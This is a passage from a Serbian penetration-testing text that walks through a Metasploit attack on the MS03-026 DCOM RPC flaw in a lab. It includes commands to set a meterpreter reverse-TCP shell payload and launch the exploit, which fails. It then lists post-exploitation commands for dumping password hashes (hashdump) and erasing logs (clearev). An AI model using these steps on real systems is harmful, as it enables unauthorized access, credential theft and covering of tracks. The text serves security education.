Slika 5. Rezultat pretraživanja ključne reči dcerpc

Page 28: Probojno testiranje i ojačanje Windows sistema

Četvrti korak

Pošto sada imamo listu rpc exploit-a ispred sebe, potrebne su nam dodatne informacije o

exploit-u pre nego što ga zapravo iskoristimo. Te informacije možemo dobiti unosom komande

„info exploit/windows/dcerpc/ms03_026_dcom“, a one se odnose na moguće

mete, zahteve exploit-a, detalje o samoj ranjivosti, pa čak i na to gde se mogu naći dodatne

informacije.

Slika 6. Informacije o exploit-u

Peti korak

Komanda „use <exploit_name>“ aktivira okruženje exploit-a za navedeni exploit.

U našem slučaju koristimo komandu na sledeći način „use

exploit/windows/dcerpc/ms03_026_dcom“.

Slika 7. Promena u okruženje exploit-a

Page 29: Probojno testiranje i ojačanje Windows sistema

Na slici 7 se vidi da se prompt promenio iz „msf>“ u „msf

exploit(ms03_026_dcom)“ što simbolizuje da se nalazimo u privremenom okruženju tog

exploit-a.

Šesti korak

Sada je potrebno konfigurisati exploit prema potrebama ovog scenarija. Komanda „show

options“ prikazuje razne parametre koji su potrebni kako bi se exploit uspešno pokrenuo. U

ovom slučaju, RPORT je već postavljen na 135 i jedina opcija koja se treba postaviti je RHOST

koja se postavlja korišćenjem komande „set RHOST“. Unosimo „set RHOST

192.168.1.100“.

Slika 8. Opcije exploit-a

Sedmi korak

Jedini preostali korak pre nego što pokrenemo exploit je postavljanje paketa koje će taj

exploit da šalje. Dostupne pakete možemo pregledati pomoću komande „show payloads“.

Za naš scenario koristiću reverse tcp meterpreter, a postavlja se komandom „set PAYLOAD

windows/meterpreter/reverse_tcp“ koji bi trebao da pokrene shell konzolu na

udaljenom računaru ako je exploit uspešno izvršen. Sada ponovo korišćenjem komande „show

options“ možemo proveriti da li su vrednosti postavljene u svim neophodnim poljima.

Page 30: Probojno testiranje i ojačanje Windows sistema

Slika 9. Lista mogućih paketa

Slika 10. Opcije za reverse tcp paket

Pošto LHOST opcija za paket nije postavljena postavljamo je na našu lokalnu IP adresu

komandom „set LHOST 192.168.48.188“.

Page 31: Probojno testiranje i ojačanje Windows sistema

Osmi korak

Sada kada je sve spremno i exploit dobro konfigurisan možemo ga i pokrenuti. Komanda

„check“ se može koristiti kako bi se proverilo da li je ciljna mašina ranjiva na exploit ili ne.

Ovu opciju nemaju svi exploit-i ali nije šteto proveriti pre svakog napada jer je od koristi znati da

li je ciljna mašina ranjiva ili možda već poseduje zakrpe za odreĎenu vrstu napada za koju smo

se odlučili. U našem slučaju, exploit nema mogućnost opcije „check“.

Komanda „exploit“ zapravo pokreće napad i radi sve što je potrebno kako bi se paket

ubacio i pokrenuo na ciljnom sistemu.

Slika 11. Pokretanje exploit-a

Exploit je izvršen ali neuspešno. Da je uspešno izvršen bila bi pokrenuta Meterpreter

sesija i prompt bi se promenio u „meterpreter>“ i imali bismo potpunu kontrolu nad

udaljenim računarom.

Deveti korak Obzirom da nije uspostavljena uspešna konekcija na udaljeni računar zbog dobre zaštite

(barem od ovog exploit-a), sada ću samo figurativno obrazložiti kako bi izgledao sledeći korak

nakon dobijanja potpune kontrole. Ako je Windows server mašina u pitanju neke od komandi

koje bismo mogli da izvršimo su :

ipconfig – prikazuje trenutnu TCP/IP konfiguraciju mašine

getuid – ispisuje korisničko ime servera

hashdump – ispisuje sadržaj SAM baze podataka (baza gde se čuvaju šifre)

clearev – ova komanda se može koristiti kako bi se obrisali svi tragovi pristupa

računaru

Potencijalna upotreba Metasploit okvira

1. Metasploit se može koristiti za vreme ispitivanja mogućnosti proboja kako bi se potvrdili

mogući izveštaji dobijeni iz drugih alata za automatsku procenu slabosti da ranjivost nije

false positive i da se može iskoristiti. TakoĎe, mora se voditi računa ne samo da se

dokaže da nije false positive već i da se greškom ne pogoršaju stvari ili nanese šteta.

2. Metasploit se takoĎe može koristiti kako bi se testirali novi exploiti, koji pristižu skoro

svakodnevno, na lokalnim test serverima kako bi se shvatilo koliko je koji efikasan.

Page 32: Probojno testiranje i ojačanje Windows sistema

3. Ovaj okvir je odličan test alat za sisteme detekcije provale (eng. Intrusion Detection

Systems). Njime možemo proveriti da li je IDS efikasan u zaustavljanju raznih napada

koje koristimo kako bismo ga zaobišli.